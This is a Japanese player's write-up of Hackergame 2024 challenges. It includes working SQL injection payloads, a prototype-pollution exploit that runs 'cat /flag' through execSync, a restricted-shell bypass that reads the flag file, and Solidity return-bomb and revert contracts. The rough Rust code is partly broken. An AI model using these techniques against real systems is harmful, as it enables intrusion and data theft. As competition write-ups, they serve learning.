前書き#
最近、Hackergame 2024 に夢中になっていましたが、ついに終了しました! 🥳 私は 2460 人中 39 位(🔝1.5%)を獲得しました。
使用したプログラミング言語は:Python、C(もちろん、CTF の問題は C と Python の世界です)、JavaScript、Bash、SQL、Rust。
記事は少し長いので、📖 TOC 目次をうまく活用してください。(または直接要約に飛んでください)
チェックイン#
「すぐに開始」ボタンをクリックすると、URL に ?pass=false
が表示されます。それを true に変更してみてください?おお、クリアできました!
- http://202.38.93.141:12024/?pass=true
flag{WeLCoME-t0-haCk3r9Ame-4nd-enJOY-H4ckiNG-zoZ4}
チェックインが好きな CTFer たちへ#
まず、「中国科学技術大学校内 CTF チーム」が何かを調べました。Google で「USTC-NEBULA」というチーム名が出てきました。さらに検索すると、「USTC NEBULA 2024 新メンバー募集」の GitHub リポジトリが見つかりました。owner のプロフィール にアクセスすると、公式サイト が得られます。(なぜか USTC-NEBULA
という組織もあります)
再チェックイン#
Chrome DevTools の Network パネルを開き、flag
という文字列を直接検索します。oh-you-found-it
が表示されます。これは、flag がこのページに隠れていることを示しています。
検索結果の近くを観察すると、正規表現 /(-a|-al|-la)/i
が見つかります。
うん、どうやら ls -al
のようです。このコマンドを入力すると、.flag
というファイルが見えます。直接 cat .flag
で flag を取得できます。
(P.S コピーできないようですか?要素を選択して、Elements パネルでコピーしてください!💢)
提出してみると、あれ、違う!これは第二問の flag ではありませんか!🤷
- https://www.nebuu.la/
flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}
再チェックイン#
第二問を終えた後、実は第二問がこのページなのか少し疑問に思いました。そのため、先ほどの新メンバー募集ページを見に行きましたが、何も見つかりませんでした。さて、サイトに戻りましょう。
先ほどの js ファイルを観察し続けると、先ほど見つけた文字列の他に、もう一つ長い文字列があり、atob
で包まれていました!さあ、実行してみましょう。
よし、これで問題は終了です!
flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}
公式解答#
公式の解答をちらっと見たところ、大会のホームページ で中科大校内チームのリンクが見つかります。さて、他のサイトの部分は見ないことにします 🤪
また、help
コマンドを実行すると、env
コマンドが提供されていることがわかり、第一問の flag を直接取得できます。
猫の質問(Hackergame 10 周年記念版)#
この問題は、インターネットサーフィン中の情報収集を完全に試すものです。
- Hackergame 2015 大会の前夜に行われたプレ大会講座は、どの教室で開催されましたか?
長い Google 検索の末、LUG のウェブサイトを見つけ、多くのイベントの詳細が記録されていることがわかりました。サイドバーで「情報セキュリティコンテスト」のページ(つまり Hackergame)を見つけました。過去の情報を見て、2017 年が第 4 回であることがわかり、逆算すると 2015 年は第 2 回です。これで答えのページに移動しました。
Note
3A204
- ご存知の通り、Hackergame は約 25 問の問題があります。過去 5 年(今年を除く)の Hackergame で、問題数がこの数字に最も近い大会には何人が登録参加しましたか?
まず、2019 年から 2023 年の大会の問題数を知る必要があります。特にテクニックはなく、単純に数えるだけです。過去の writeupを見て、問題数を数えて、どれが 25 に最も近いかを計算します。そして、2019 年のものがないことに気付きます!
さらにインターネット情報収集(通称 Google)を続けて、見つけました。でも、なぜ GitHub の組織にまとめられないのでしょうか?(何か裏事情があるのか 🫢)
計算の結果、2019 年のものが最も近いことがわかりました(writeup を作成した人は、もう一つ一つ数える気がありませんでした)。
次に hackergame 2019 登録人数
を検索すると、LUG のプレスリリースに「合計 2682 人が登録」と書かれているのが見つかりました。
Note
2682
- Hackergame 2018 で、どの人気検索ワードが科大図書館の当月の熱検索第 1 位になりましたか?
過去の writeups は GitHub にホストされていることがわかっているので、GitHub の検索エンジンを使ってみましょう。検索 hackergame 2018 図書館 熱検索ワード。これで問題は終了です。
Note
プログラマーの自己修養
- 今年の USENIX Security 学術会議で、中国科学技術大学が電子メールの偽造攻撃に関する論文を発表しました。この論文では、著者が 6 種類の攻撃方法を提案し、いくつの電子メールサービスプロバイダーおよびクライアントの組み合わせで実験を行いましたか?
キーワードを抽出し、英語で検索します USENIX Security 2024 email spoofing
、Google が PDFを見つけてくれます。
最初は 16 * 20 = 320
を試しましたが、間違っていることがわかりました(P.S この問題は、前回の清北の Geekgame 2024 のように、答えるのに 1 時間の防止が必要ではありません)。
考えてみると、間違っていることがわかりました。合計で 16 のサービスプロバイダーと 20 のクライアントがあります。サービスプロバイダーは、ユーザーにクライアントを提供します(たとえば、Gmail には Web とモバイルアプリがあります)。したがって、16 * 20 + 16=336
であるべきです。
P.S 公式解答:実際には論文に書かれていますが、一行一行読むのは根気がありませんでした。
Note
336
- 10 月 18 日、Greg Kroah-Hartman が Linux メールリストに提出したパッチが、多くの開発者を MAINTAINERS ファイルから削除しました。このパッチが Linux mainline にマージされたコミット ID は何ですか?
時事に追いつき、最近ネットサーフィンをしてこの事件に注目していたので、ブラウザの履歴を探しました。以前に訪れた コミットページを見つけました。
Note
6e90b6
- 大規模言語モデルは、入力をトークンに分解して計算を続けます。このウェブページの HTML ソースコードは、Meta の Llama 3 70B モデルのトークナイザーによって何個のトークンに分解されますか?
import { AutoTokenizer } from '@huggingface/transformers'
const content = await fetch('http://202.38.93.141:13030/', {
headers: {
Cookie: 'session=your-session',
},
}).then((r) => r.text())
const tokenizer = await AutoTokenizer.from_pretrained(
'meta-llama/Meta-Llama-3-70B',
)
const res = tokenizer.encode(content)
console.log(res.length)
そのため、私は Hugging Face にこのモデルの権限を申請しました。計算した結果は 1835
ですが、この答えは実際には間違っています。大規模モデルは非常に不確実な感じがするので、±3 で試してみました。
Note
1833
さて、これで終了です!
flag{Λ_9oØd_C@t_iS_7He_©aT_ωhO_cΛn_PαsS_tHe_qบ!2}
flag{t3И_¥eAЯ5_0ƒ_H@©keRg4M3_om3dE7ØU_WItH_n3Ko_qU1z}
開けない箱#
これは実際に私がチェックインした後、最初に解いた問題で、一見すると非常に簡単だと感じました。
問題のファイルをダウンロードすると、macOS では直接開くことができることがわかりました(Thanks to Xcode)。さまざまな視点から内部を観察することで、flag を得ることができます。ただし、flag の最後から二番目の文字は少し混乱を招くもので、大小文字の o
を試してもダメで、0️⃣を試してみて初めて成功しました。
flag{Dr4W_Us!nG_fR3E_C4D!!w0W}
毎日の論文が多すぎる!#
問題の論文リンクを開き、PDFをダウンロードします。ブラウザで直接 flag を検索すると、結果が見つかりますが、肉眼では見えません。
それでは、家に帰って Adobe Acrobat を開き、PDF を編集します。検索した flag のボックスを見つけ、「flag here」と教えてくれます。さらに注意深く見ると、隠れた画像もあり、これを引きずり出します。
ただし、この画質は本当に…… 一言では言い表せません。flag の中にあるハッキングのため、l
を試してもダメで、大文字の i
もダメでした。ああ、実は 1️⃣ だったのです。
よし、これで終了です!
flag{h4PpY_hAck1ng_3veRyd4y}
大小王を比べる#
私が二番目に解いた問題で、私の得意分野は Web です。
ページのソースコードを直接分析します。データの状態がグローバル変数 state
に保存されていることがわかります。すべての state.values
を計算します。カウントダウンが終了したら、submit 関数を呼び出して提出します。
submit(state.values.map(([a, b]) => (a < b ? '<' : '>')))
旅行の写真 4.0#
このソーシャルエンジニアリングの問題は、私にとっては少し難しいもので、あまり得意ではありません。
LEO_CHAN?#
質問 1: 写真が撮影された場所は、中科大のどの校門に近いですか?(形式:
X校区Y門
、すべて一文字)
高德地図(うん、私は百度地図を使いません)で「科里科気科創驿站」を検索します。中科大の近くにある場所が見つかり、あなたに決定しました!画像を開くと、確かに間違いありません。
Note
東校区西門
質問 2: ところで、Leo 酱が最後に桁架に現れたのは…… 中科大の今年の ACG 音楽会ですか?イベントの日付は間違っていなければ?(形式:
YYYYMMDD
)
中科大 ACG 音楽会
を検索すると、「中科大 LEO 動漫協会」の B 站アカウントが見つかります。動画を掘り下げると、この動画の説明の下にイベントの日付が見つかります。
Note
20240519
flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_??????????}
余談:本当に大学生活が羨ましいです。
FULL_RECALL#
この問題は小紅書のソフト広告で、お金をもらったの?
質問 3: この公園の名前は何ですか?(公園がある市区などの情報は不要)
第1 枚目の画像を開くと、最初にゴミ箱に「六安園林」と書かれているのが見え、さらに虹のランニングトラックがあります。「六安 公園 彩虹」というキーワードで検索すると、プレスリリースが見つかり、「中央公園」と「水上公園」のどちらかになるはずですが、実際にはどちらも正しくなく、「中央公園」を検索すると、正式名称は「中央森林公園」であることがわかります。
Note
中央森林公園
質問 4: この景観がある観光地の名前は?(三文字)
第 2 枚目の画像を持ってしばらく探しましたが、また六安だと思っていました。まさか「しかもこの 2 枚の写真の撮影地の距離…… 少し遠すぎるのでは?」というほど遠いとは……
結局、最後に小某書を使って、他の人の旅行の画像と動画を見つけました。
Note
壷子嶺
flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_??????????}
OMINOUS_BELL#
質問 5: 撮影地に最も近い病院は?(院区、地名情報は不要、形式:XXX 病院)
質問 6: 左下隅の動車組のモデルは?
この問題は、鉄道に興味がなく、理解していない私にとって本当に難しいものでした。しかし、問題の中で「四編成動車」と言及されていました。Google で探すと、China EMUというウェブサイトが見つかります。このページでは、画像の左下隅のものと少し似ていて、どちらもピンクの塗装です。したがって、モデルは CRH6F-A
です。
「懐密号」を検索すると、WikiPedia の紹介で、北京北で運行されていることがわかります。それから、運行されている路線に基づいて、Google Earth で駅を一つずつ探していきます……(とても疲れました)。近くの病院を見つけることができます。
Note
积水潭医院
CRH6F-A
flag{1_C4NT_C0NT1NU3_TH3_5T0RY_4NYM0R3_50M30N3_PLZ_H3LP_??????????}
幅の狭い幅広文字#
私は C/C++ 言語の初心者なので、ChatGPT にコードの意味を教えてもらっています 🤡。
この環境では、Linux x86 + Wine を使用して Windows 上の環境をシミュレートする必要があります。M1 チップ + macOS では本当に実行が難しいので、アリババクラウド(広告スペース募集中)のクラウドコンピュータを開いて、Clion をダウンロードして実行しました。現在、環境はすでに整っているので、私の記憶を頼りに思い出すしかありません。
私の知識から推測すると、Windows は UTF-16 を使用しており、各文字は 2~3 バイトを占めます。しかし、通常の char は 1 バイトです。
(char*)filename.c_str()
を印刷すると、ASCII 文字が 2 バイトに分解されることがわかります。したがって、各文字が Z:\theflag
の ASCII バイトに正確に分解されるような文字列を構築する必要があります。
const str = 'Z:\\theflag'
const arr = [...str]
let s = ''
for (let i = 0; i < arr.length; i += 2) {
s += String.fromCharCode(
parseInt(
'0x' +
arr[i + 1].charCodeAt(0).toString(16) +
arr[i].charCodeAt(0).toString(16),
),
)
}
console.log(s)
「㩚瑜敨汦条」という結果が得られますが、you_cant_get_the_flag
を追加するために \0
を使用して後ろを切断する必要があります。したがって、'\u5000'
のような 00 で終わる 4 桁の文字を適当に見つければ、答え「㩚瑜敨汦条倀」を得ることができます。
flag{wider_char_isnt_so_great_??????????}
PowerfulShell#
まず、使用できる文字を確認し、キーボードに見える文字をすべて入力し、使用できないものを削除します。以下の文字が得られます。
`, [], {}, _, -, $, 1-9, :, =, +, ~
次に、Bash のチュートリアルを見て、使用できる構文をメモします。
- https://wangdoc.com/bash/expansion#%E6%B3%A2%E6%B5%AA%E7%BA%BF%E6%89%A9%E5%B1%95
~
: HOME ディレクトリ~+
現在のディレクトリ(実際には HOME ディレクトリと同じ)
- https://wangdoc.com/bash/string#%E5%AD%90%E5%AD%90%E7%AC%A6%E4%B8%B2
${varname:offset:length}
:部分文字列を抽出しますが、注意が必要です:varname のみを使用でき、式は使用できません。したがって、式の値を保存する必要があります。
文字を使用できない場合、変数名をどうやって付けるか?_123456789
は使用可能であり、合法的な varname です。
この問題では、特に問題のログを保存しましたので、直接ログを見てみましょう。
PowerfulShell@hackergame> _1=~+ // _1=/players
PowerfulShell@hackergame> _2=${_1:2:1} // _2=l
PowerfulShell@hackergame> _3=${_1:7:1} // _3=s
PowerfulShell@hackergame> $_2$_3 // ls
PowerfulShell.sh
PowerfulShell@hackergame> _4=$[1-1] // _4=0
PowerfulShell@hackergame> $_2$_3 ${_1:_4:1} // ls /
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
players
proc
root
run
sbin
srv
sys
tmp
usr
var
PowerfulShell@hackergame> _5=`$_2$_3 ${_1:_4:1}` // _5=`ls /` (もともとの結果)
PowerfulShell@hackergame> _6=${_5:15:1} // _6=c
PowerfulShell@hackergame> _7=${_5:19:1} // _7=a
PowerfulShell@hackergame> _8=${_5:7:1} // _8=t
PowerfulShell@hackergame> $_6$_7$_8 ${_1:_4:1}${_5:17} // cat /
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
cat: home: No such file or directory
cat: lib: No such file or directory
cat: lib32: No such file or directory
cat: lib64: No such file or directory
cat: libx32: No such file or directory
cat: media: No such file or directory
cat: mnt: No such file or directory
cat: opt: No such file or directory
cat: players: No such file or directory
cat: proc: No such file or directory
cat: root: No such file or directory
cat: run: No such file or directory
cat: sbin: No such file or directory
cat: srv: No such file or directory
cat: sys: No such file or directory
cat: tmp: No such file or directory
cat: usr: No such file or directory
cat: var: No such file or directory
PowerfulShell@hackergame>
後記#
実際には簡単にできます。~+
は ~
であり、bash を使用して任意のコマンドを実行できます。cat /
よりも強力です。
そのため、もう一度やってみました。
PowerfulShell@hackergame> _1=~
PowerfulShell@hackergame> _2=${_1:2:1}
PowerfulShell@hackergame> _3=${_1:7:1}
PowerfulShell@hackergame> _4=`$_2$_3 ${_1:1-1:1}`
PowerfulShell@hackergame> _5=${_4:1-1:1}
PowerfulShell@hackergame> _6=${_4:19:1}
PowerfulShell@hackergame> _7=${_4:71-1:1}
PowerfulShell@hackergame> _8=${_4:22:1}
PowerfulShell@hackergame> $_5$_6$_7$_8
cat /flag
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
Node.js は Web スケール#
Web、なじみのある味です。
問題を開くと、最下部に View source code
のリンクがあることに気づくのに時間がかかりました 🌚。さて、コードがどのように書かれているか見てみましょう。
/execute
ルートでは、execSync
が使用されていることがわかります。したがって、ここが突破口であるはずです。特に、注釈に「明らかに安全」と書かれているので、ここに違いありません。
ただし、実行されるのは cmds
オブジェクトに事前に設定されたコマンドであり、新しいコマンドを追加する方法はないのでしょうか?特に、/set
ルートを見てみると、深いプロパティの設定が行われています。ああ、プロトタイプチェーン攻撃です!
const a = {}
a.__proto__.evil = 996
a.evil // 996
上記のコードを使用して、任意のオブジェクトに evil
プロパティを注入できます。したがって、一度設定すれば、key
: __proto__.evil
, value
: ls /
と設定します。次に /execute?cmd=evil
にアクセスすると、flag ファイルが見つかります。value
を cat /flag
に変更して、再度アクセスすると、flag を取得できます。
flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_??????????}
PaoluGPT#
また Web の問題です。
窥視未知#
まず問題をダウンロードし、main.py
の 67 行をロックオンします!
results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
明らかに、SQL 文を注入できます。試してみて /view?conversation_id=' or 1=1 --
、やはり問題ありません。さらにソースコードを見てみると、ホームページには shown = true
のレコードしか表示されないので、shown = false
のレコードを見てみましょう。/view?conversation_id=' or shown=false --
にアクセスすると、第二問の flag を取得できます!
ちょっと待って、また第二問が先に終わりました 🤪!
flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_??????????}
(&
がある場合は&
に置き換えることを忘れずに)
千里挑一#
では、第一問はどうするのか?わからないので、すべてのデータをエクスポートしてみましょう!しかし、python は最初のデータしか取得してくれませんでした。union select
を使用してサブクエリを構築し、group_concat
を使用してすべての内容を一つのデータに結合してエクスポートできます!
' union select title, group_concat(contents, ' ') as contents from messages --
内容を取得すると、先ほどの flag の他に、たくさんの内容の中に隠れた flag が見つかります。
flag{zU1_xiA0_de_11m_Pa0lule!!!_??????????}
強力な正規表現#
数学の問題、私の天敵!できない、あああああああ!
Easy#
ChatGPT によると、最後の 4 桁の数字に注目する必要があります。
四則演算や変換を使用せずに、10 進数を 16 で割った余りを計算するには(つまり mod 16)、10 進数の性質を利用して計算を簡略化できます。具体的には、10 進数の最後の 4 桁に注目するだけで十分です。これは 16 が 2 の 4 乗であるため、10 進数の最後の 4 桁だけで 16 で割った余りを決定できます。
したがって、すべての 4 桁の数を列挙し、16 の倍数を見つけるだけで済みます。
const arr = new Array(10000)
.fill(0)
.map((v, i) => i)
.filter((v) => v % 16 === 0)
const grouped = Object.groupBy(arr, (v) => String(v).length)
let regex = '(0|1|2|3|4|5|6|7|8|9)*('
regex += grouped[2].map((v) => '00' + v).join('|')
regex += '|'
regex += grouped[3].map((v) => '0' + v).join('|')
regex += '|'
regex += grouped[4].join('|')
regex += ')'
console.log(regex)
この正規表現を問題環境に投げると、flag が得られます。この問題は GPT の助けを借りて、難しくはありません。
flag{p0werful_r3gular_expressi0n_easy_??????????}
Medium#
Google で検索すると、倍数が 3 の場合の類似の質問を見つけましたが、倍数は 13 です。
次に、別の質問にリンクされて、倍数は 7 です。誰かの回答に DFA(決定性有限オートマトン)を使用することが提案されていました。つまり、DFA を使用してこの問題を解決できるということです。次に ChatGPT にお願いしました。
プロンプト:L = {w | w is a binary representation of an integer divisible by 13 }
という状態機を構築してもらいました。
GPT は状態機を表す表を生成しました。
現在の状態 | 入力 0 のときの状態 | 入力 1 のときの状態 |
---|---|---|
q0 | q0 | q1 |
q1 | q2 | q3 |
q2 | q4 | q5 |
q3 | q6 | q7 |
q4 | q8 | q9 |
q5 | q10 | q11 |
q6 | q12 | q0 |
q7 | q1 | q2 |
q8 | q3 | q4 |
q9 | q5 | q6 |
q10 | q7 | q8 |
q11 | q9 | q10 |
q12 | q11 | q12 |
次に、greenery
パッケージを見つけ、正規表現を生成するために使用できます。(ただし、古いバージョンの v3 を使用する必要があります)
from greenery import fsm, lego
dfa = fsm.fsm(
alphabet={"0", "1"},
states={0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12},
initial=0,
finals={0},
map={
0: {"0": 0, "1": 1},
1: {"0": 2, "1": 3},
2: {"0": 4, "1": 5},
3: {"0": 6, "1": 7},
4: {"0": 8, "1": 9},
5: {"0": 10, "1": 11},
6: {"0": 12, "1": 0},
7: {"0": 1, "1": 2},
8: {"0": 3, "1": 4},
9: {"0": 5, "1": 6},
10: {"0": 7, "1": 8},
11: {"0": 9, "1": 10},
12: {"0": 11, "1": 12},
},
)
print(lego.from_fsm(dfa))
生成された正規表現には ?
が含まれているため、これを *
に置き換える必要があります。また、{n}
を展開する必要があります。たとえば、1{2}
を 11
に置き換えます。
flag{pow3rful_r3gular_expressi0n_medium_??????????}
Hard#
この問題は本当に解けませんでした。公式解答を参考にしました。公式解答。
惜字如金 3.0#
奇妙なものです。
問題 A#
手を使えば大丈夫です。問題のルールに従って、補完すればいいです。どうしてもわからなければ ChatGPT に投げます。
flag{C0mpl3ted-Th3-Pyth0n-C0de-N0w}
問題 B#
わからないので、公式解答を参考にします。
問題 C#
さらにわからないので、同様に。
見えない彼方:交換空間#
これは私が最後に解いた問題ですが、実際には難しくないことに気づきました。
小菜一碟#
リソースを最小限に利用して、/home/pwn/A/space/file
と /home/pwn/B/space/file
を交換する必要があるので、ここでは Rust を使用してこのプログラムを書きます。chroot
が制限されているが、TCP 接続を介して通信を実現できます。
ハードディスクのスペースは実際にはメモリを使用しているため、2 つのファイルとそのコピーを同時に保持することはできません。したがって、Alice と Bob はデータを読み取りながら、送信したデータを上書きする必要があります。
アリス#
Alice 側を TCP サーバーにします。Alice は最初にファイルを開き、Bob の接続を待ちます。
接続が来たら、Alice は最初にファイルの内容を読み取り、それを Bob に送信します。同時に、Bob から送信されたデータを受信し、先ほど読み取ったファイルの位置に書き込みます。
// Alice
use std::{
fs::OpenOptions,
io::{Read, Write},
net::TcpListener,
os::unix::fs::FileExt,
};
fn main() -> std::io::Result<()> {
let file = OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open("/space/file")?;
// TCP サーバーを開始
let listener = TcpListener::bind("127.0.0.1:8000")?;
let mut tcp_stream = listener.incoming().next().unwrap()?;
println!("接続が確立されました: {:?}", tcp_stream);
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
while file.read_exact_at(tcp_buf, offset).is_ok() {
// ファイルを読み取る
file.read_exact_at(file_buf, offset).unwrap();
tcp_stream.write_all(file_buf).unwrap();
// ファイルに書き込む
tcp_stream.read_exact(file_buf).unwrap();
file.write_all_at(file_buf, offset).unwrap();
offset += BUFFER_SIZE as u64;
}
Ok(())
}
ボブ#
ほぼ Alice の逆操作です。最初に開いて、少し待ってから Alice に接続します。ファイルの内容を読み取り、Alice に送信します。同時に、Alice から送信されたデータを受信し、先ほど読み取ったファイルの位置に書き込みます。
use std::{
io::{Read, Write},
os::unix::fs::FileExt,
thread::sleep,
};
fn main() -> std::io::Result<()> {
let file = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open("/space/file")
.unwrap();
sleep(std::time::Duration::from_millis(500));
let address = "127.0.0.1:8000";
let mut stream = std::net::TcpStream::connect(address).unwrap();
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
while stream.read_exact(tcp_buf).is_ok() {
// ファイルを読み取る
file.read_exact_at(file_buf, offset).unwrap();
stream.write_all(file_buf).unwrap();
// ファイルに書き込む
file.write_all_at(tcp_buf, offset).unwrap();
offset += BUFFER_SIZE as u64;
}
Ok(())
}
flag{just A p1ece 0f cake_??????????}
捉襟見肘#
前の小問と似ており、同じ方法でファイルを交換します。しかし、異なるのは、Alice が書き終えた後に file
を 2 つのファイルに分割する必要があることです。Bob は file1
に保存した後、file2
に上書きする必要があります。
そうしないと、Bob のファイルには 128 MiB の file1
と 64 MiB の file2
が存在し、合計で 192 MiB になり、制限を超えてメモリが尽きてしまいます。Alice も同様です。
では、最終的にファイルを分割または結合する方法は?アリの引越し!
結合するために、まず file2
の最初の 1MiB の内容を読み取り、それを file1
の末尾に書き込みます。次に、file2
の残りの内容を 1MiB ごとに読み取り(len + index)、file2
の (0 + index) の位置に上書きします。次に、file2
のサイズを size - len
に切り詰めます。最後に、file2
の長さが 0 になるまで繰り返します。最後に、file1
を file
にハードリンクすることを忘れないでください。そうすれば、2 倍の占有を避け、少しずつコピーする必要もありません。
分割する場合、最初に file
の 64MiB の位置から 1MiB の内容を読み取り、それを file2
の末尾に書き込みます。次に、file
の残りの内容を 1MiB ごとに読み取り(1MiB + len + index)、file
の (1MiB + 0 + index) の位置に上書きします。次に、file
のサイズを size - len
に切り詰めます。同様に、最後に file
を file1
にハードリンクすることを忘れないでください。
fn remove_range(file: &mut File, range: Range<u64>) {
let file_size = file.metadata().unwrap().len();
const BUFFER_SIZE: usize = 1024 * 1024;
let mut buffer = [0u8; BUFFER_SIZE];
let mut offset = range.start;
let len = range.end;
while let Ok(n) = file.read_at(&mut buffer, offset + len) {
if n == 0 {
break;
}
file.write_all_at(&buffer[..n], offset).unwrap();
offset += n as u64;
}
file.set_len(file_size - len).unwrap();
}
アリス#
use std::{
fs::{self, File, OpenOptions},
io::{Read, Write},
net::TcpListener,
os::unix::fs::FileExt,
};
fn main() -> std::io::Result<()> {
println!("こんにちは、アリスです");
let mut file = OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open("/space/file")?;
// TCP サーバーを開始
let address = "127.0.0.1:8000";
let listener = TcpListener::bind(address)?;
println!("サーバーが {} で開始されました", address);
let mut tcp_stream = listener.incoming().next().unwrap()?;
println!("接続が確立されました: {:?}", tcp_stream);
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
let file_size_128m = file.metadata().unwrap().len();
let file_size_64m = file_size_128m / 2;
while file.read_exact_at(tcp_buf, offset).is_ok() {
// ファイルを読み取る
file.read_exact_at(file_buf, offset).unwrap();
tcp_stream.write_all(file_buf).unwrap();
// 書き込む
tcp_stream.read_exact(file_buf).unwrap();
remove_range(&mut file, file_size_64m..n as u64);
offset += BUFFER_SIZE as u64;
if offset == file_size_128m {
break;
}
}
let file2 = File::create("/space/file2")?;
let mut offset = 0;
const BUFFER_SIZE2: usize = 1024 * 1024;
let file_buf = &mut [0u8; BUFFER_SIZE2];
while let Ok(n) = file.read_at(file_buf, file_size_64m) {
if n == 0 {
break;
}
file2.write_all_at(&file_buf[..n], offset).unwrap();
remove_range(&mut file, file_size_64m..n as u64);
offset += n as u64;
}
// ハードリンクを作成
fs::hard_link("/space/file", "/space/file1").unwrap();
println!("アリスから完了しました。");
Ok(())
}
ボブ#
ボブの場合、64MiB を読み終えた後、file2
に切り替えることを忘れないでください。
use std::ops::Range;
use std::{fs, fs::File};
use std::{
io::{Read, Write},
os::unix::fs::FileExt,
thread::sleep,
};
fn main() -> std::io::Result<()> {
println!("こんにちは、ボブです!");
let path = "/space/file1";
// let path = "b";
let file1 = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open(path)
.unwrap();
let path = "/space/file2";
let mut file2 = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open(path)
.unwrap();
let mut file = &file1;
sleep(std::time::Duration::from_millis(500));
// println!("起きて!");
let address = "127.0.0.1:8000";
let mut stream = std::net::TcpStream::connect(address).unwrap();
// println!("サーバーに接続されました: {:?}", stream);
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
let file_size = file.metadata().unwrap().len();
let packet_size = file_size * 2;
while stream.read_exact(tcp_buf).is_ok() {
if offset == 67108864 {
file = &file2;
println!("ボブ: file2 に切り替えます");
}
// ファイルを読み取る
let file_offset = if offset >= 67108864 {
offset - 67108864
} else {
offset
};
file.read_exact_at(file_buf, file_offset).unwrap();
stream.write_all(file_buf).unwrap();
// ファイルに書き込む
file.write_all_at(tcp_buf, file_offset).unwrap();
offset += BUFFER_SIZE as u64;
if offset == packet_size {
break;
}
}
let mut offset = 0;
const BUFFER_SIZE2: usize = 1024 * 1024;
let file_buf = &mut [0u8; BUFFER_SIZE2];
while let Ok(n) = file2.read_at(file_buf, 0) {
if n == 0 {
break;
}
file1
.write_all_at(&file_buf[..n], offset + file_size)
.unwrap();
remove_range(&mut file2, 0..n as u64);
offset += n as u64;
}
println!("ボブ: file1 を読み終えました {}", offset);
// ハードリンクを作成
fs::hard_link("/space/file1", "/space/file").unwrap();
println!("ボブから完了しました。");
Ok(())
}
flag{fa1I0catiIling_1NChains_15fun_??????????}
後記#
公式解答を見たところ、Linux の fallocate(2) を使用すると、もっと簡単にできることがわかりましたが、私は使ったことがないので、思いつきませんでした 🤣。
P.S Rust の初心者で、コンペの最後の数時間で作成したため、コードはかなりひどいです。批判しないでください!
ZFS ファイル復元#
できません、スキップします。macOS 環境を構築するのが難しすぎます。
参考公式解答。
ブロックチェーン送金アシスタント#
Web 3 に関連する問題を初めて解きましたが、とても楽しかったです。Solidity を急いで学び、コントラクトを書き始めました。
まず、Foundry 環境を構築する必要があり、インストールします。
送金失敗#
Solidity / EVM のいくつかの知識を知っておく必要があります。コントラクトは、fallback
と receive
関数を使用して、マッチしない関数シグネチャのときに Ether を受け取ることができます。これはフック関数のようなものです。
receive
関数内でエラーを報告すると、そのトランザクションは失敗し、すべての送金が失敗します。revert
を使用してトランザクションを元に戻すことができます。
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
contract Sink {
receive() external payable {
revert();
}
}
実際には、コントラクトをテストする方法が最も重要です。以下のコマンドを使用してコントラクトをコンパイルし、バイトコードを取得できます。(0x
を削除することを忘れないでください)
forge build my-flag1.sol
jq -r .bytecode.object < ./out/my-flag1.sol/Sink.json
flag{Tr4nsf3r_T0_c0nTracT_MaY_R3v3rt_??????????}
送金が再び失敗#
私たちは diff を通じて challenge1.sol
と challenge2.sol
の違いを見て、送金失敗の状況を処理するために (bool success, ) =
が追加されていることに気づきました。そこで、他にコントラクトの実行を失敗させる可能性があるものは何かを考えました。
他の言語では、明示的にエラーをスローしない場合、関数の実行が失敗する可能性があるのは何か?最も簡単なのは無限ループです。
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
contract Sink {
receive() external payable {
while (true) {}
}
}
(Copilot の助けに感謝します)
flag{Ple4se_L1m1t_y0uR_GAS_HaHa_??????????}
送金が再び失敗#
?奇妙な問題
今度はコントラクトが receive
関数のガスを制限しているため、receive
関数内でガスを使い果たすことができません。いろいろと検索していると、returnbomb
というものを見つけました。非常に大きな配列を返すことで、外部で多くのガスを消費させ、トランザクションを失敗させることができます。
サンプルを見つけて、少し修正することにしました。
assembly
(https://docs.soliditylang.org/en/latest/assembly.html)には、EVM 命令を直接操作できる Yul という言語があります。
最初に revert(0, 10000)
を使用してテストしたところ、トランザクションが直接元に戻りました。次に、return
もデータを返すために使用できることに気づきました。最初のパラメータは返すデータの開始位置、2 番目のパラメータは返すデータの長さです。
最初に 10000
を試したところ、トランザクションは成功しました。次に、Tenderly というプラットフォームを見つけ、コントラクトをデバッグできることがわかりました。ガスがまだ残っていることがわかりましたが、返すデータが大きすぎると、receive
関数の呼び出しが失敗することがわかりました。したがって、返すデータの長さを増やし続け、全体のトランザクションが失敗するまで続けます。
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
contract Sink {
receive() external payable {
assembly {
// 50000 + 25000 - 25000 + 12500 - 12500 + 6250 + 3125 - 3125 + 1562 + 500
return(0, 58312)
}
}
}
flag{Y0u_4re_Th3_M4sTeR_0f_EVM!!!_??????????}
